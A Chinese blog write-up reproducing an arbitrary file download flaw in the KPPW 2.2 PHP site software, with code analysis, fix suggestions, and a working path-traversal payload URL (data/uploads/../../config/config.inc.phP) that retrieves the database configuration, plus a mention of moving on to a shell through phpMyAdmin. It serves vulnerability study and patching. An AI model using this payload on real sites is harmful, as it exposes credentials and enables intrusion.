• KPPW2.2 漏洞利用--文件下载


    KPPW2.2 漏洞利用--文件下载

    任意文件下载漏洞

    环境搭建

    1,集成环境简单方便,如wamp,phpstudy....

    2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面

    3,安装,访问(http://127.0.0.1/test/KPPW2.2UTF8/install/index.php)(如果显示500错误  Internal Server Error ,须将目录下面的 .htaccess 文件删除),选择下一步,下一步,填写数据库信息,后台管理员账号密码等等。

    上述,漏洞复现平台搭建成功。

    首页(http://127.0.0.1/test/KPPW2.2UTF8/index.php)。

    漏洞分析

    任意文件下载漏洞

     Web应用程序中提供的文件下载接口对用户提交的数据过滤不严格,导致黑客可以通过构造相对路径,文件后缀等方式,将其他文件传入文件下载接口中,并利用该方式非法获取服务器数据。

    本次漏洞根源位于 /control/ajax/ajax_file.php,代码如下:

    <?php    defined ( 'IN_KEKE' ) or exit('Access Denied');
        switch ($ajax){
            case "load":
                if($work_id){
                    $file_ids = db_factory::get_count(sprintf(" select work_file from %switkey_task_work where work_id='%d'",TABLEPRE,$work_id));
                    $file_list = keke_task_class::get_work_file($file_ids);
                }
                break;
            case "download":
                keke_file_class::file_down($file_name, $file_path);
                break;
            case "delete":
                $res = keke_file_class::del_att_file($file_id, $filepath);
                $res and kekezu::echojson ( '', '1' ) or kekezu::echojson ( '', '0' );
                die ();
                break;

    switch有四个选项,分别为:loaddownloaddeletedel

    变量$ajax 传过来哪个值,就会执行哪部分的代码,比如传过来的值为 download,则就会执行下载模块下的代码。

    在 download 选项中,可以看到,有文件名和文件路径的参数:

    case "download":
                keke_file_class::file_down($file_name, $file_path);
                break;

    我们继续跟进 file_down 这个函数,它位于 lib/helper/keke_file_class.php ,188 行 代码如下:

    static function file_down($file_name, $file_path) {
            keke_lang_class::load_lang_class ( 'keke_file_class' );
            global $_lang;
            if($file_name&&$file_path){
                if(strpos($file_path, 'data/uploads/') !== false ){
                    $filename = S_ROOT . $file_path;
                    if (! file_exists ( $filename ) || strrpos ( $filename, ".php" ) !== false) {
                        kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
                    }
                    $downfilename = str_replace ( ' ', '%20', $file_name );
                    Header ( "Content-type: application/octet-stream" );
                    Header ( "Accept-Ranges: bytes" );
                    Header ( "Accept-Length: " . filesize ( $filename ) );
                    Header ( "Content-Disposition: attachment; filename=" . $downfilename );
                    $file = fopen ( $filename, "r" );
                    echo fread ( $file, filesize ( $filename ) );
                    fclose ( $file );
                    die ();
                }else{
                    kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
                }
            }else{
                kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
            }
        }

    可以看到,系统首先将文件名称和文件路径传入,下面判断,如果在传入的路径中,没有 data/uploads ,则跳出循环。

    它这里就限制了只能下载 uploads 下的文件。

    接下来拼接字符串,形成一个新路径。接下来继续判断,如果文件名不存在,或者文件后缀名为 .php ,就会终止下载。

    如果满足以上所有条件,就执行下载操作。

    通过以上分析,得知它首先限制了路径,并限制了包含 php 文件的下载。

    但是代码中忽略了一点,我们下载文件不一定是通过绝对路径下载,还可以通过相对路径下载文件。

    我们可以在  data/uploads 后使用相对路径。就可以跳到前面的文件夹中,这样既包含了 data/uploads 字符串,符合代码规范,又可以跳到任意的文件夹。

    因此我们可以利用相对路径构造 payload,如下:

    http://127.0.0.1/index.php?do=ajax&view=file&ajax=download&file_name=config.inc.php&file_path=data/uploads/../../config/config.inc.phP

    这样可以下载到数据库配置文件。

    这里就详细解释一下里面的参数,do,view,ajax,file_name,file_path。

    首先看下入口 /index.php  第46行

    $log_account=null;
    if(isset($_COOKIE['log_account'])){
        $log_account = $_COOKIE['log_account'];
    }
    $square_open = $plug_arr['square']['status'];
    kekezu::redirect_second_domain();
    include S_ROOT . 'control/' . $do . '.php'; #第46

    include 进行包含,这里根据 do 的参数的值的不同而包含 control 目录下不同的文件,payload里面的 do 等于 ajax,因此是进行包含 control 目录下的 ajax.php

    接下来追踪到 /control/ajax.php

    <?php defined ( 'IN_KEKE' ) or exit('Access Denied');
    $_K['is_rewrite'] = 0 ;
    $views = array('prom','ajax','upload','indus','score','code','share','menu','message','file','task','shop');
    in_array($view,$views) or $view ="ajax";
    require 'ajax/ajax_'.$view.'.php';

    这里看下第三行 views 参数

    这里的 views 是一个数组,下面的 require 函数是进行包含调用文件,总体来说就是从数组 views 里面选出来一个值,进而包含这个文件。

    例如,当参数 views=file,下面就会包含 ajax/ajax_file.php 文件。

    这样的话就回到了刚开始的分析的 /control/ajax/ajax_file.php 文件。

    <?php    defined ( 'IN_KEKE' ) or exit('Access Denied');
        switch ($ajax){
            case "load":
                if($work_id){
                    $file_ids = db_factory::get_count(sprintf(" select work_file from %switkey_task_work where work_id='%d'",TABLEPRE,$work_id));
                    $file_list = keke_task_class::get_work_file($file_ids);
                }
                break;
            case "download":
                keke_file_class::file_down($file_name, $file_path);
                break;
            case "delete":
                $res = keke_file_class::del_att_file($file_id, $filepath);
                $res and kekezu::echojson ( '', '1' ) or kekezu::echojson ( '', '0' );
                die ();
                break;

    这里是 ajax 参数,我们这里让 ajax 参数的值是 download,就会触发 file_down() 函数。

    第四个参数file_name和第五个参数file_path,其中 file_name 是我们自定义的文件名称,file_path 是下载的文件路径。

    也就是这里任意下载的文件,我们可以重新命名下载到本地。

    追踪 file_down() 函数,它位于 lib/helper/keke_file_class.php ,188 行 代码如下:

    static function file_down($file_name, $file_path) {
            keke_lang_class::load_lang_class ( 'keke_file_class' );
            global $_lang;
            if($file_name&&$file_path){
                if(strpos($file_path, 'data/uploads/') !== false ){
                    $filename = S_ROOT . $file_path;
                    if (! file_exists ( $filename ) || strrpos ( $filename, ".php" ) !== false) {
                        kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
                    }
                    $downfilename = str_replace ( ' ', '%20', $file_name );
                    Header ( "Content-type: application/octet-stream" );
                    Header ( "Accept-Ranges: bytes" );
                    Header ( "Accept-Length: " . filesize ( $filename ) );
                    Header ( "Content-Disposition: attachment; filename=" . $downfilename );
                    $file = fopen ( $filename, "r" );
                    echo fread ( $file, filesize ( $filename ) );
                    fclose ( $file );
                    die ();
                }else{
                    kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
                }
            }else{
                kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
            }
        }

    可以看到,系统首先将文件名称和文件路径传入,下面判断,如果在传入的路径中,没有 data/uploads ,则跳出循环。

    它这里就限制了只能下载 uploads 下的文件。接下来拼接字符串,形成一个新路径。接下来继续判断,如果文件名不存在,或者文件后缀名为 .php ,就会终止下载。

    如果满足以上所有条件,就执行下载操作。

    通过以上分析,得知它首先限制了路径,并限制了包含 php 文件的下载。

    但是代码中忽略了一点,我们下载文件不一定是通过绝对路径下载,还可以通过相对路径下载文件,利用 ../ 下载到上级目录的文件。

    我们可以在  data/uploads 后使用相对路径。就可以跳到前面的文件夹中,这样既包含了 data/uploads 字符串,符合代码规范,又可以跳到任意的文件夹。

    因此,我们构造了 payload 进而触发漏洞。

    http://127.0.0.1/index.php?do=ajax&view=file&ajax=download&file_name=config.inc.php&file_path=data/uploads/../../config/config.inc.phP

    漏洞利用

    利用 hackbar ,输入 payload :

    http://127.0.0.1/test/KPPW2.2UTF8/index.php?do=ajax&view=file&ajax=download&file_name=config.inc.php&file_path=data/uploads/../../config/config.inc.phP

    成功下载了文件,并获取了数据库账号密码。

    接下来可以通过远程连接数据库进行渗透,如:通过phpmyadmin 进行 getshell ,或者远程连接数据库获取更多的有用信息。

    漏洞修复

    • 过滤点(.)使用户在url中不能回溯上级目录
    • 正则严格判断用户输入参数的格式
    • php.ini 配置open_basedir限定文件访问范围

    源码链接(链接: https://pan.baidu.com/s/1bqiSorH 密码: mk48)

    本文链接(http://www.cnblogs.com/Oran9e/p/8259879.html),转载请注明。

    任重而道远!

  • 相关阅读:
    数据分析三剑客numpy pandas Matplotlib
    算法 初识
    python 爬虫二
    python 爬虫一
    python celery
    elasticsearch 学习
    ansible 基本使用
    面试题
    奇技淫巧
    【前端基础】- CSS 1-CSS选择器
  • 原文地址:https://www.cnblogs.com/Oran9e/p/8259879.html
Copyright © 2020-2023  润新知